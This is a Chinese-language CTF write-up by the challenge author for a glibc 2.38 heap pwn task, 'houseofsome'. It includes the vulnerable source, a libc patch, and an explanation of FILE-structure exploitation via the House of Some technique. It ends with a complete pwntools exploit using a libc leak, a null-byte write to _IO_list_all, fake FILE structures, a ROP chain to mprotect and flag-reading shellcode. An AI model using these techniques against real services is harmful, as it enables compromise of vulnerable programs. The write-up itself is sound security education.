题目

题目源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
// gcc houseofsome.c -o houseofsome -Wl,--dynamic-linker=./ld-linux-x86-64.so.2 -Wl,--rpath=./
#include<stdio.h>
#include <stdlib.h>
#include<sys/mman.h>
#include <linux/seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/prctl.h>

static void install_seccomp() {
static unsigned char filter[] = {32,0,0,0,4,0,0,0,21,0,0,5,62,0,0,192,32,0,0,0,0,0,0,0,53,0,3,0,0,0,0,64,21,0,2,0,59,0,0,0,21,0,1,0,66,1,0,0,6,0,0,0,0,0,255,127,6,0,0,0,0,0,0,0};
struct prog {
unsigned short len;
unsigned char *filter;
} rule = {
.len = sizeof(filter) >> 3,
.filter = filter
};
if(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) { perror("prctl(PR_SET_NO_NEW_PRIVS)"); exit(2); }
if(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &rule) < 0) { perror("prctl(PR_SET_SECCOMP)"); exit(2); }
}

int init() {
size_t tmp1 = stdin;
setbuf(tmp1, 0);
size_t tmp2 = stdout;
setbuf(tmp2, 0);
size_t tmp3 = stderr;
setbuf(tmp3, 0);
install_seccomp();
}

size_t getint(){
size_t tmp;
scanf("%lld", &tmp);
return tmp;
}

void readline(char *buf, size_t n) {
char tmp;
size_t i = 0;
for(; i < n && read(0, &tmp, 1) > 0; ++i) {
if(tmp == '\n') {
buf[i] = 0;
return;
}
buf[i] = tmp;
}
buf[i] = 0;
}

char *name = 0;
FILE* dev = 0;
int magic = 0;
char *pool[2] = {0};
int idx = 1;

void change_name(){
char buf[0x100];
size_t size;
printf("size> ");
size = getint();
if(size <= 0 || size > 0x2000) {
puts("wrong.");
return;
}
idx = 1 - idx;
name = pool[idx];
if(name) free(name);
printf("name> ");
name = malloc(size + 1);
pool[idx] = name;
readline(name, size);
}

void change_dev() {
char buf[0x100];
if(dev) fclose(dev);
size_t op;
printf("1. /dev/urandom\n2. /dev/zero\n3. /dev/null\ndev> ");
op = getint();
if(op == 1) dev = fopen("/dev/urandom", "rb");
else if(op == 2) dev = fopen("/dev/zero", "rb");
else dev = fopen("/dev/null", "rb");
if(dev == NULL){
puts("open dev error.");
return;
}
setbuf(dev, 0);
}

void draw() {
char buf[0x100];
if(magic || !dev || !name) {
puts("wrong.");
return;
}
size_t addr, length;
printf("offset> ");
addr = getint();
printf("length> ");
length = getint();
if(length < 0 || length > 8) {
puts("wrong.");
return;
}
fread(0x114514000+addr, 1, 1, dev);
magic = 1;
}

void show() {
char buf[0x100];
printf("name: %s\n", name);
printf("picture: ");
write(1, 0x114514000, 0x1000);
printf("\n");
}

int main(){
init();
size_t choice;
if(mmap(0x114514000, 0x1000, PROT_READ | PROT_WRITE, 0x22, -1, 0) == -1){
printf("mmap error.\n");
exit(0);
}
printf("gift: %p\n", 0x114514000);
while (1) {
printf("1. name\n2. dev\n3. draw\n4 .show\n5. exit\n> ");
choice = getint();
switch (choice){
case 1:
change_name();
break;
case 2:
change_dev();
break;
case 3:
draw();
break;
case 4:
show();
break;
case 5:
exit(0);
break;
default:
printf("invalid option %ld.\n", choice);
break;
}
}

}

除了题目代码之外,还自己编译了一个libc,加上patch,patch如下

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/libio/libioP.h b/libio/libioP.h
index 745278e..b3858d1 100644
--- a/libio/libioP.h
+++ b/libio/libioP.h
@@ -100,7 +100,7 @@
#define _IO_JUMPS_FILE_plus(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
#define _IO_WIDE_JUMPS(THIS) \
- _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
+ (IO_validate_vtable(_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable))
#define _IO_CHECK_WIDE(THIS) \
(_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data) != NULL)

可以看到,这里对wide_data加上了patch

编译时的命令如下

1
2
3
CC="gcc" CXX="g++" CFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" CXXFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" ../configure --prefix=/home/csome/houseofsome/glibc-2.38/build/x64 --disable-werror --enable-bind-now
make
make install

详细编译流程见Tover师兄写的https://0xffff.one/d/337

简单的分析

通过逆向可以知道,这里泄露libc是通过scanf的未写入trick实现的,但是ida观察init函数的时候,并不能发现stdin等数据放到了栈上,需要gdb观察或者阅读汇编才知道。

1
2
3
4
5
6
7
8
9
int init() {
size_t tmp1 = stdin;
setbuf(tmp1, 0);
size_t tmp2 = stdout;
setbuf(tmp2, 0);
size_t tmp3 = stderr;
setbuf(tmp3, 0);
install_seccomp();
}

其次,这里有一次libc内任意地址写\x00的机会在draw功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void draw() {
char buf[0x100];
if(magic || !dev || !name) {
puts("wrong.");
return;
}
size_t addr, length;
printf("offset> ");
addr = getint();
printf("length> ");
length = getint();
if(length < 0 || length > 8) {
puts("wrong.");
return;
}
fread(0x114514000+addr, 1, 1, dev);
magic = 1;
}

还有一个小trick——fopen,这个函数会使用malloc分配一个IO_FILE_plus结构,作为打开文件的管理块,并通过头插法进入IO_list_all

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void change_dev() {
char buf[0x100];
if(dev) fclose(dev);
size_t op;
printf("1. /dev/urandom\n2. /dev/zero\n3. /dev/null\ndev> ");
op = getint();
if(op == 1) dev = fopen("/dev/urandom", "rb");
else if(op == 2) dev = fopen("/dev/zero", "rb");
else dev = fopen("/dev/null", "rb");
if(dev == NULL){
puts("open dev error.");
return;
}
setbuf(dev, 0);
}

总结一下

  1. 已知Libc地址
  2. 一次libc内任意地址写1字节\x00,off by null
  3. fopen能使得IO_list_all内写入heap地址
  4. 由于wide_data的vtable加入了check,故不能使用apple2的链条

House of Some

详细的原理见https://blog.csome.cc/p/house-of-some/

其使用的方法是

  1. 已知glibc基地址
  2. 可控的已知地址(可写入内容构造fake file)
  3. 需要一次libc内任意地址写可控地址
  4. 程序能正常退出或者通过exit()退出

其中,条件1和4程序中可以直接满足,条件3可以通过fopen和一次off by null完成,条件2可以被弱化,并不需要已知,只需要可控即可

那么在构造任意地址写的fake_file的过程中,需要wide_data指针,这个指针需要在可控地址位置——堆内,但是我们并不能泄露堆地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
fake_file_read = flat({
0x00: 0, # _flags
0x20: 0, # _IO_write_base
0x28: 0, # _IO_write_ptr

0x38: 任意地址写的起始地址, # _IO_buf_base
0x40: 任意地址写的终止地址, # _IO_buf_end

0x70: 0, # _fileno
0x82: b"\x00", # _vtable_offset
0xc0: 2, # _mode
0xa0: wide_data的地址, # _wide_data
0x68: 下一个调用的fake file地址, # _chain
0xd8: _IO_wfile_jumps, # vtable
}, filler=b"\x00")

fake_wide_data = flat({
0xe0: _IO_file_jumps - 0x48,
0x18: 0,
0x20: 1,
0x30: 0,
}, filler=b"\x00")

这里需要使用largebin的next size指针残留,构造出一个合法的wide_data地址

PS:这里可以运用https://enllus1on.github.io/2024/01/22/new-read-write-primitive-in-glibc-2-38/#more,改进后就不需要wide_data了

风水脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
name(0x2b0-1, flat({
0x260: {
0x18: 0,
0x20: 1,
0x30: 0,
}
}, filler=b"\x00") + b"\n")
name(0x1f00-0x730-1, b"aa" + b"\n")
name(0x400-1, b"aa" + b"\n")
name(0x590-1, flat({
0xe0-0x60: libc.symbols['_IO_file_jumps'] - 0x48
}, filler=b"\x00") + b"\n")
name(0x50-1, b"aa" + b"\n")
name(0x600-1, b"aa" + b"\n")
name(0x610-1, b"aa" + b"\n")
name(0x300-1, b"aa" + b"\n")
name(0x2f0-1, b"aa" + b"\n")
name(0x360-1, b"aa" + b"\n")
name(0x210-1, b"aa" + b"\n")

最后伪造,这里中间需要使用指针残留,所以伪造fake_file的时候,需要分开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
environ = libc.symbols['__environ']
name(0xb0-1, flat({
0x00: 0, # _flags
0x20: 0, # _IO_write_base
0x28: 0, # _IO_write_ptr

0x38: environ+8, # _IO_buf_base
0x40: environ+8+0x400, # _IO_buf_end

0x70: 0, # _fileno
0x68: environ+8, # _chain
0x82: b"\x00", # _vtable_offset
0x88: environ-0x10,
0xa0: b"\n"
}, filler=b"\x00"))
name(0x20-1, flat({
0xc0-0x20-0xa0: 2, # _mode
0xd8-0x20-0xa0: libc.symbols['_IO_wfile_jumps'], # vtable
}, filler=b"\x00")[:-1] + b"\n")

最后houseofsome一把梭

完整exp

House_of_some工具见https://github.com/CsomePro/House-of-Some

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
from pwn import *
from House_of_some import HouseOfSome

context.log_level = 'debug'
context.arch = 'amd64'

shellcode = asm(
f"""
mov rax, {u64(b"./flag" + bytearray([0,0]))}
push rax
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall

mov rdi, rax
mov rsi, rsp
mov rdx, 0x40
mov rax, 0
syscall

mov rdi, 1
mov rsi, rsp
mov rdx, 0x40
mov rax, 1
syscall
""")

io = process("./houseofsome")
# io = remote("127.0.0.1", 12000)
tob = lambda x: str(x).encode()

def name(size, content):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"size> ", tob(size))
io.sendafter(b"name> ", content)

def dev(idx):
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"dev> ", tob(idx))

def draw(offset, length):
io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"offset> ", tob(offset))
io.sendlineafter(b"length> ", tob(length))

def leave():
io.sendlineafter(b"> ", b"5")

io.sendlineafter(b"> ", b"-")
io.recvuntil(b"invalid option ")
leak = int(io.recvuntil(b".", drop=True))
log.success(f"leak : {leak:#x}")
libc_base = leak - 0x2205c0
log.success(f"libc_base : {libc_base:#x}")

libc = ELF("./libc.so.6", checksec=None)
libc.address = libc_base

name(0x2b0-1, flat({
0x260: {
0x18: 0,
0x20: 1,
0x30: 0,
}
}, filler=b"\x00") + b"\n")
name(0x1f00-0x730-1, b"aa" + b"\n")
name(0x400-1, b"aa" + b"\n")
name(0x590-1, flat({
0xe0-0x60: libc.symbols['_IO_file_jumps'] - 0x48
}, filler=b"\x00") + b"\n")
name(0x50-1, b"aa" + b"\n")
name(0x600-1, b"aa" + b"\n")
name(0x610-1, b"aa" + b"\n")
name(0x300-1, b"aa" + b"\n")
name(0x2f0-1, b"aa" + b"\n")
name(0x360-1, b"aa" + b"\n")
name(0x210-1, b"aa" + b"\n")

environ = libc.symbols['__environ']

name(0xb0-1, flat({
0x00: 0, # _flags
0x20: 0, # _IO_write_base
0x28: 0, # _IO_write_ptr

0x38: environ+8, # _IO_buf_base
0x40: environ+8+0x400, # _IO_buf_end

0x70: 0, # _fileno
0x68: environ+8, # _chain
0x82: b"\x00", # _vtable_offset
0x88: environ-0x10,
0xa0: b"\n"
}, filler=b"\x00"))

name(0x20-1, flat({
0xc0-0x20-0xa0: 2, # _mode
0xd8-0x20-0xa0: libc.symbols['_IO_wfile_jumps'], # vtable
}, filler=b"\x00")[:-1] + b"\n")

dev(2)
draw(libc.symbols["_IO_list_all"] - 0x114514000, 1)
leave()

hos = HouseOfSome(libc, environ+8, environ-0x10)
stack = hos.bomb_raw(io, libc.symbols["_IO_flush_all"] + 481)
log.success(f"stack : {stack:#x}")

pop_rdx = 0x0000000000096272 + libc_base

rop = ROP(libc)
rop.base = stack
rop.raw(pop_rdx)
rop.raw(7)
rop.call('mprotect', [stack & (~0xfff), 0x1000])
rop.raw(stack + 0x40)
log.info(rop.dump())
rop_chain = rop.chain()

assert b"\n" not in rop_chain, "\\n in rop_chain"
io.sendline(rop_chain + shellcode)

context.log_level = 'info'
io.interactive()

碎碎念

出题的时候有些疏忽,忘记了main_arena也在libc内,导致可以off by null修改TopChunk,使得最后能够控制堆结构

但是这个方法较为复杂,是一个小小的非预期,在比赛还有30个小时多的时候放出,在14小时之后出现第一血,最后只有5解出,算是预期之内吧

接下来如果还有机会,我还会带来更加有趣的利用手法的题目,敬请期待吧

本文采用CC-BY-SA-4.0协议,转载请注明出处
作者: Csome
Hits